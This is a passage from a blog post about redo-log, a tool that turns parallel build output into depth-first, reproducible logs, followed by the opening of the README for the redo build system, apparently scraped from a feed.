This made debugging a lot easier, because build messages from entire packages (like, say, the Linux kernel and busybox) separated out instead of interspersed, but it had some flaws. Most importantly, the output was very bursty: it waited until a given job was completely done before it printed anything. When busybox finished, you saw all the busybox logs; when the kernel finished, you saw all the kernel logs. Although useful, this is, frankly, not as fun as watching your 16-core workstation live-blast several screenfuls of compiler log messages per second. It feels slow.

There was also a secondary problem, which is that the messages, although linearized, were in the wrong order. Notice that, in the above, 'make J' (in A) happens after all the messages from J. This is because we print jobs in the order that they finish, and by definition, J must finish before the job that started J can finish. If we tried to print it in a more reasonable order (topmost job first, dependencies next, etc), then we couldn't print any incremental logs at all: A is guaranteed to finish last, but we want to print it first. This is all very logical when you think deeply about it, but trust me, it gets tedious explaining it to every new developer on your team, who just wants to know why the time is flowing backwards.

So we used loglinear, and it was a necessary evil, especially for viewing autobuilder logs, but nobody liked it. I dreamed of a better way.

Back to 2018: redo-log

I've had many years to contemplate my 2012 sins, and I have good news: I finally figured out how to do it right. Not only that, but instead of introducing a weird tool that you have to hack into your makefiles (and hack I did, oh boy did I ever, to make buildroot parallelize things the way I wanted), I've helpfully integrated the magic directly into redo. And not only that, but I've updated buildroot to use redo so that not only can you get linearized logs, but you can get faster buildroot startup time and faster/better buildroot dependencies too.

(Dear buildroot team: If you're reading this, I was going to send this patch to your mailing list, but it's not ready for prime time, or even code review, yet. I'd love to hear your feedback if you have any.)

redo-log takes a totally different approach from loglinear:

It saves the log for each target persistently to its own file, so you can look at it again later. Rather than a flat list of log files, it tracks their tree order. It prints log messages "depth first" instead of "breadth first," for less burstiness. It prints output in the order dependencies were launched, instead of the order in which they were finished. It can helpfully indent log messages based on their recursion level. Since we persist logs anyway, we reserve the right to simply not print messages from some irrelevant targets when an error happens. You can always pull up the logs later if you care.

In other words, the logs from our earlier build now look like this:

A: redo J J: ...J stuff... J: redo X X: ...X stuff... X: exit 0 J: redo Y Y: ...Y stuff... Y: exit 0 J: redo Z Z: ...Z stuff... Z: exit 0 J: ...more J stuff... J: exit 0 A: exit 0

The important realization - which is maybe obvious to you, but it wasn't obvious to me - is that, if you decide to do a depth-first traversal of log messages, the "deepest" one that is still running will continue producing incremental messages until it finishes. There's no need to buffer them!

During that time, other parallel branches of the tree will also be producing messages, which we do buffer until later. So Z might finish before X, but we just print the messages from X as they come out, until X is done. Then we go back to J, which sends us to Y, which we follow until it's done. When we get to Z, which is done already, we just print all its enqueued messages in one big blast, then move on.

An interesting invariant here is that it doesn't matter whether X, Y, or Z finishes first. If they each print their own messages (including launching their own subtasks) in a reproducible order, then no matter how the CPU schedules them, the total output will be in a reproducible order. This has the almost-impossible-sounding property that a set of "reproducible build" steps will produce a byte-for-byte reproducible log, even in the presence of unlimited parallelism.

The tricks go a little deeper. Let's say X, Y, and Z all depend on Q. Because of how .do scripts work, they will each run redo-ifchange Q at some undefined time in their respective build scripts. We only need to build Q once, but we don't know which of X, Y, or Z will be the one to do it. This is where the persistent logs come in; we don't actually care! Effectively the log is a DAG (directed acyclic graph, the same kind of structure used in git) with multiple links to Q. Its structure is like this:

A: redo J J: ...J stuff... J: redo X X: redo Q Q: ...build Q... X: ...X stuff... J: redo Y Y: redo Q Q: ...build Q... Y: ...Y stuff... J: redo Z Z: redo Q Q: ...build Q... Z: ...Z stuff... J: ...more J stuff... A: exit 0

Of course we only ran Q once, so it's silly to print its output more than once. Let's trim it:

A: redo J J: ...stuff... J: redo X X: redo Q Q: ...build Q... X: ...X stuff... J: redo Y Y: redo Q Y: ...Y stuff... J: redo Z Z: redo Q Z: ...Z stuff... J: ...stuff... A: exit 0

Because of our depth-first traversal rule, the log will always look exactly like that - even if job Q was "actually" launched by job Y and not X. redo-log prints logs in dependency order.

After the build finishes, though, you might want to investigate exactly how Z got built. To do that, you run redo-log Z , which prints this:

Z: redo Q Q: ...build Q... Z: ...Z stuff... Z: exit 0

In this case, we can show the steps for job Q as a subtree of Z, even though Q was actually built by Y, because it's not redundant when we're not printing Y.

One more complication arises if one of Z's dependencies changes and we need to rebuild Z, but Q has not changed. If we do that, then the "honest" redo log for the incremental rebuild of Z looks like this:

Z: redo-ifchange Q [nothing happens] Z: ...Z stuff...

But depending what you're doing - for example, if you want to see if the "reproducible log" for an incremental build of your whole reproducible build project matches a from-scratch build - it might make sense to show where Q came from. This is redo-log's -u option ("recurse into unchanged targets"), which then prints this:

Z: redo Q Q: ...build Q... Z: ...Z stuff... Z: exit 0

...in other words, the exact same log as you got when you built Z the first time.

Conclusion

I'm sure almost everyone reading this thinks I'm hopelessly pedantic to care so much about the sequence of lines of output in my build logs. You're right! But you're getting off easy, because you didn't have to live through my obsessing over LED blink synchronization across a lab full of wifi routers . (Useless trivia: I found at least three bugs in openntpd by noticing the LEDs in our lab were not all blinking uniformly.)

And that, my friends, is why tree traversal algorithms are fair game in job interviews.

...

Uh, also, you should try redo . You may also want to see how I redo-ized buildroot . If you're interested, you can join the discussions on the redo-list mailing list .


          redo: a top-down software build system (designed by djb)      Cache   Translate Page      
redo: a top-down software build system

redo is a competitor to the long-lived, but sadly imperfect, make program. There are many such competitors, because many people over the years have been dissatisfied with make's limitations. However, of all the replacements I've seen, only redo captures the essential simplicity and flexibility of make, while avoiding its flaws. To my great surprise, it manages to do this while being simultaneously simpler than make, more flexible than make, and more powerful than make.

Although I wrote redo and I would love to take credit for it, the magical simplicity and flexibility comes because I copied verbatim a design by Daniel J. Bernstein (creator of qmail and djbdns, among many other useful things). He posted some very terse notes on his web site at one point (there is no date) with the unassuming title, " Rebuilding target files when source files have changed ." Those notes are enough information to understand how the system is supposed to work; unfortunately there's no code to go with it. I get the impression that the hypothetical "djb redo" is incomplete and Bernstein doesn't yet consider it ready for the real world.

I was led to that particular page by random chance from a link on The djb way , by Wayne Marshall.

After I found out about djb redo, I searched the Internet for any sign that other people had discovered what I had: a hidden, unimplemented gem of brilliant code design. I found only one interesting link: Alan Grosskurth, whose Master's thesis at the University of Waterloo was about top-down software rebuilding, that is, djb redo. He wrote his own (admittedly slow) implementation in about 250 lines of shell script.

If you've ever thought about rewriting GNU make from scratch, the idea of doing it in 250 lines of shell script probably didn't occur to you. redo is so simple that it's actually possible. For testing, I actually wrote an even more minimal version, which always rebuilds everything instead of checking dependencies, in 210 lines of shell (about 4 kbytes).

The design is simply that good.

My implementation of redo is called redo for the same reason that there are 75 different versions of make that are all called make . It's somehow easier that way. Hopefully it will turn out to be compatible with the other implementations, should there be any.

My extremely minimal implementation, called do , is in the minimal/ directory of this repository.

(Want to discuss redo? See the bottom of this file for information about ou